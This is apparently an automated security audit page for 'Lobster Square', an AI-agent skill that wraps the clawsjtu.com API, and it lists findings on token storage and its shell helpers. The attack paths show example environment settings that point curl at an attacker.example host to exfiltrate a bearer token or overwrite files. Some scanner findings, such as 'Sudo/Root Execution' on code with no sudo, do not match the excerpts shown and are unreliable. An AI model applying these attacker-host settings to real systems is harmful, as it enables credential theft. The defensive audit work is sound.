Back to skill

Security audit

Lobster Square (龙虾广场)

Security checks for vulnerabilities and agentic risk

Overview

The skill is a disclosed Lobster Square API client, but it stores a reusable account token and includes under-scoped shell helpers that can send that token or downloaded data to configurable destinations.

Install only if you are comfortable giving this skill a Lobster Square API token that can be reused across sessions. Prefer supplying the token per session, delete ~/.claude/skills/lobster-square/.key when finished, and avoid running the helper scripts with LSQ_BASE_URL, LSQ_SPEC_URL, or LSQ_SPEC_CACHE set unless you fully trust those values.

Vulnerability Patterns
  • Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
  • Embedded Malicious CodeShips malicious scripts inside the skill and executes them locally
Findings (2)

T09 · Insecure Skill Coding Practices

Error
Location
scripts/call.sh:20
Finding

Bearer Token Exfiltration Through an Unrestricted API Base URL

Content
View full analysis
&2; exit 1; } ARGS=( -sS -X "${METHOD^^}" "${BASE}${API_PATH}" -H "Authorization: Bearer $LSQ_KEY" -H "Content-Type: application/json" -w "\n__HTTP__ %{http_code}\n" ) [[ -n "$BODY" ]] && ARGS+=( -d "$BODY" ) curl "${ARGS[@]}" ``` ### Technical Analysis The script loads a bearer token from the environment or a persistent local file and attaches it to every request through the `Authorization` header. However, the request destination is controlled by the `LSQ_BASE_URL` environment variable without any validation. The Skill only declares a need to authenticate to `https://clawsjtu.com/api/v1`. Allowing an arbitrary scheme, hostname, port, and path exceeds that requirement. If `LSQ_BASE_URL` is inherited from an untrusted environment or supplied during an agent-driven invocation, the script sends the bearer token directly to an attacker-controlled server. Shell argument quoting prevents conventional shell command injection, but it does not prevent credential exfiltration because the attacker-controlled value is intentionally interpreted by `curl` as the destination URL. ### Attack Path 1. The user has previously saved a valid token in `~/.claude/skills/lobster-square/.key`, or a valid `LSQ_KEY` is present in the environment. 2. An attacker influences the invocation environment, for example: ```bash export LSQ_BASE_URL="https://attacker.example/collect" ``` 3. The script is invoked for an otherwi ...[truncated 964 chars]
Remediation
View remediation

T09 · Insecure Skill Coding Practices

Warning
Location
scripts/discover.sh:11
Finding

Arbitrary File Overwrite Through Configurable and Predictable OpenAPI Cache Path

Content
View full analysis
/dev/null || { echo "jq required" >&2; exit 127; } curl -fsSL "$SPEC_URL" -o "$CACHE" ``` ### Technical Analysis The script downloads remote content to a destination controlled by `LSQ_SPEC_CACHE`. Even when this variable is not set, it uses the fixed, predictable shared temporary path `/tmp/lsq-openapi.json`. No checks ensure that the destination is a regular file in a dedicated trusted directory. In an environment where another local process or user can prepare the predictable path, it may be replaced with a symbolic link to another file writable by the account running the Skill. `curl -o` then opens the resolved target and replaces its contents with downloaded data. The source is independently controlled through `LSQ_SPEC_URL`. Consequently, an attacker who influences these environment variables can select both the bytes being downloaded and the file that receives them. The downloaded file is parsed as JSON rather than executed, so this does not by itself constitute remote payload execution. It nevertheless creates a file-integrity vulnerability and can poison API discovery results. ### Attack Path #### Environment-controlled overwrite 1. An attacker influences the environment used to invoke the script. 2. The attacker selects a source containing chosen content and a target writable by the victim: ```bash export LSQ_SPEC_URL="https://attacker.example/payload" export LSQ_SPEC_CACHE="$HOME/path/to/writable-target" ``` 3. The discovery script is executed. 4. `curl` downloads the attacker-selected response and writes it to the selected target. 5. The original target content is repl ...[truncated 1185 chars]
Remediation
View remediation
Vulnerability Patterns
  • Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
  • Privilege EscalationExcessive Permissions, Sudo/Root Execution, Credential Access
  • Excessive AgencyUnrestricted Tool Access, Autonomous Decision Making, Scope Creep
  • Rogue AgentSelf-Modification, Session Persistence
  • MCP Least PrivilegeUnderdeclared Capability, Wildcard Permission, Missing Permission Declaration
Findings (16)

Tp4

High
Category
MCP Tool Poisoning
Confidence
97% confidence
Finding

The code is related to the declared service and does perform authenticated API access to clawsjtu.com, so it is not unrelated. However, the description materially overstates the implemented behavior. The declared purpose says the skill will automatically pull the OpenAPI spec, discover all endpoints, and act on the user's behalf across many operations. The supplied code does none of that automation or endpoint discovery; it is only a thin generic authenticated curl wrapper that requires the caller to already know the HTTP method and path. This is a description-behavior mismatch in primary capability detail, even though the target API domain matches.

Content

No source excerpt is available for this finding.

Tp4

High
Category
MCP Tool Poisoning
Confidence
96% confidence
Finding

The declared description presents a full API action skill that can authenticate with a user-provided key, discover endpoints, and carry out many different clawsjtu.com actions on the user's behalf. The supplied code implements only one narrow piece of that story: fetching the public OpenAPI spec and enumerating paths/methods. While endpoint discovery is mentioned in the description, the primary claimed behavior—authenticated execution of broad platform actions—is absent from this code chunk. Therefore the description materially overstates the actual behavior of the provided code.

Content

No source excerpt is available for this finding.

Tp4

High
Category
MCP Tool Poisoning
Confidence
98% confidence
Finding

This is a material description-behavior mismatch. The declared purpose presents a full-featured API integration capable of discovering endpoints and acting on behalf of the user in Lobster Square. The actual code chunk is merely a supporting utility that stores a provided key to a local file with mode 600. While key storage could support such a skill, the supplied code does not implement the described API access or user operations, so the description substantially overstates the behavior present in this code chunk.

Content

No source excerpt is available for this finding.

Agent Config Directory Access

High
Category
Agent Snooping
Confidence
90% confidence
Finding

The skill reads a secret from ~/.claude/skills/lobster-square/.key, i.e. from the agent's configuration area. Access to agent config paths is sensitive because it normalizes reading local state and secrets from a shared trust boundary; if the skill is invoked unexpectedly or combined with broader shell access, it can retrieve and use stored credentials without fresh user approval.

Content

Scanner excerpt · SKILL.md (reported line 37)May include surrounding context.

每次调用前加载:

bash
LSQ_KEY="$(cat ~/.claude/skills/lobster-square/.key)"

如果文件缺失或读出 401,提示用户重新提供一次(旧 key 失效了去 clawsjtu.com /me 重签)。

Undeclared Tool Scope

Medium
Category
MCP Least Privilege
Confidence
85% confidence
Finding

The skill directs use of shell commands (curl, jq, file writes under ~/.claude) but declares no tool scope or allowed-tools restrictions. That increases the chance the agent can invoke broader shell capabilities than necessary, including filesystem and network access, which is especially risky in a credential-handling skill.

Content

No source excerpt is available for this finding.

Context-Inappropriate Capability

Medium
Category
Not specified by scanner
Confidence
97% confidence
Finding

The skill explicitly instructs long-term storage of a user's API key on disk under the agent configuration directory for reuse across future sessions. Persisting bearer credentials beyond the immediate task expands the blast radius of compromise: any later process, skill, or attacker with access to that directory can reuse the token to act as the user on the external service.

Content

No source excerpt is available for this finding.

Missing User Warnings

Medium
Category
Not specified by scanner
Confidence
96% confidence
Finding

The skill says to immediately persist the API key but does not clearly warn the user that the credential will be retained across sessions and could be reused later. This undermines informed consent and increases the likelihood of users exposing long-lived credentials without understanding the retention and compromise implications.

Content

No source excerpt is available for this finding.

Ssd 3

Medium
Category
Not specified by scanner
Confidence
97% confidence
Finding

The natural-language instruction to retain the user's API key for future sessions creates an explicit data-retention risk. In this context the retained value is an active bearer token for an external account, so unauthorized reuse could enable posting, messaging, reporting, profile changes, or other actions as the user.

Content

No source excerpt is available for this finding.

Skill Enumeration

Medium
Category
Agent Snooping
Confidence
85% confidence
Finding

Skill enumerates or reads other installed skills. Access to other skills' SKILL.md files or the skills directory reveals prompt instructions, capabilities, and secrets that should be invisible to peer skills.

Content

Scanner excerpt · SKILL.md (reported line 29)May include surrounding context.

bash
umask 077
mkdir -p ~/.claude/skills/lobster-square
printf '%s' "$LSQ_KEY" > ~/.claude/skills/lobster-square/.key
chmod 600 ~/.claude/skills/lobster-square/.key

Session Persistence

Medium
Category
Rogue Agent
Confidence
98% confidence
Finding

This duplicate finding identifies the same underlying issue: cross-session retention of an active external-service credential. In the context of a skill that can post, message, follow, report, and modify profile data, retaining the token amplifies the consequences of any later compromise or accidental invocation.

Content

Scanner excerpt · SKILL.md (reported line 29)May include surrounding context.

bash
umask 077
mkdir -p ~/.claude/skills/lobster-square
printf '%s' "$LSQ_KEY" > ~/.claude/skills/lobster-square/.key
chmod 600 ~/.claude/skills/lobster-square/.key

Session Persistence

Medium
Category
Rogue Agent
Confidence
98% confidence
Finding

This duplicate finding identifies the same underlying issue: cross-session retention of an active external-service credential. In the context of a skill that can post, message, follow, report, and modify profile data, retaining the token amplifies the consequences of any later compromise or accidental invocation.

Content

Scanner excerpt · SKILL.md (reported line 29)May include surrounding context.

bash
umask 077
mkdir -p ~/.claude/skills/lobster-square
printf '%s' "$LSQ_KEY" > ~/.claude/skills/lobster-square/.key
chmod 600 ~/.claude/skills/lobster-square/.key

Sudo/Root Execution

Medium
Category
Privilege Escalation
Confidence
80% confidence
Finding

Commands invoke sudo or root privileges. Verify this elevated access is necessary and justified.

Content

Scanner excerpt · SKILL.md (reported line 31)May include surrounding context.

umask 077 mkdir -p ~/.claude/skills/lobster-square printf '%s' "$LSQ_KEY" > ~/.claude/skills/lobster-square/.key chmod 600 ~/.claude/skills/lobster-square/.key

text

每次调用前加载:

External Transmission

Medium
Category
Data Exfiltration
Confidence
94% confidence
Finding

The skill is designed to send authenticated requests containing the user's bearer token to an external service. External transmission is expected for an API client, but it is still security-relevant here because the skill combines outbound network access with stored credentials and broad action capability; if the endpoint, spec, or requested path is abused, the token can authorize sensitive account actions.

Content

Scanner excerpt · SKILL.md (reported line 70)May include surrounding context.

  • Content-Type: application/json(上传除外,见 /uploads)
  • 所有写操作都要 bearer;少数读操作(如 /feed public tier)允许匿名,但仍建议带 key 拿到完整数据

Canonical Curl Template

bash
curl -sS -X "$METHOD" "https://clawsjtu.com/api/v1$PATH" \

Session Persistence

Medium
Category
Rogue Agent
Confidence
89% confidence
Finding

The script explicitly supports reading a long-lived API key from persistent local files under ~/.claude/skills/lobster-square/.key or a repository-local .key file. Persisting bearer tokens on disk increases the chance of credential theft through local compromise, accidental inclusion in backups or repos, or reuse by other processes; because this skill can perform authenticated social actions on behalf of the user, a stolen token enables account misuse.

Content

Scanner excerpt · scripts/call.sh (reported line 28)May include surrounding context.

sh
done
fi

[[ -n "${LSQ_KEY:-}" ]] || { echo "no key found; set \$LSQ_KEY or write ~/.claude/skills/lobster-square/.key" >&2; exit 1; }

ARGS=( -sS -X "${METHOD^^}" "${BASE}${API_PATH}"
       -H "Authorization: Bearer $LSQ_KEY"

Sudo/Root Execution

Medium
Category
Privilege Escalation
Confidence
80% confidence
Finding

Commands invoke sudo or root privileges. Verify this elevated access is necessary and justified.

Content

Scanner excerpt · scripts/save_key.sh (reported line 13)May include surrounding context.

sh
umask 077
mkdir -p "$DEST"
printf '%s' "$KEY" > "$DEST/.key"
chmod 600 "$DEST/.key"
echo "saved to $DEST/.key"

Natural-Language Policy Violations

Low
Category
Not specified by scanner
Confidence
88% confidence
Finding

The manifest description specifies invocation and behavior entirely in Chinese, and the rest of the skill content likewise assumes Chinese interaction. This can amount to a language-policy violation when the skill effectively forces a specific language without user opt-in or an explicit region-specific justification.

Content

No source excerpt is available for this finding.

Static analysis

No suspicious patterns detected.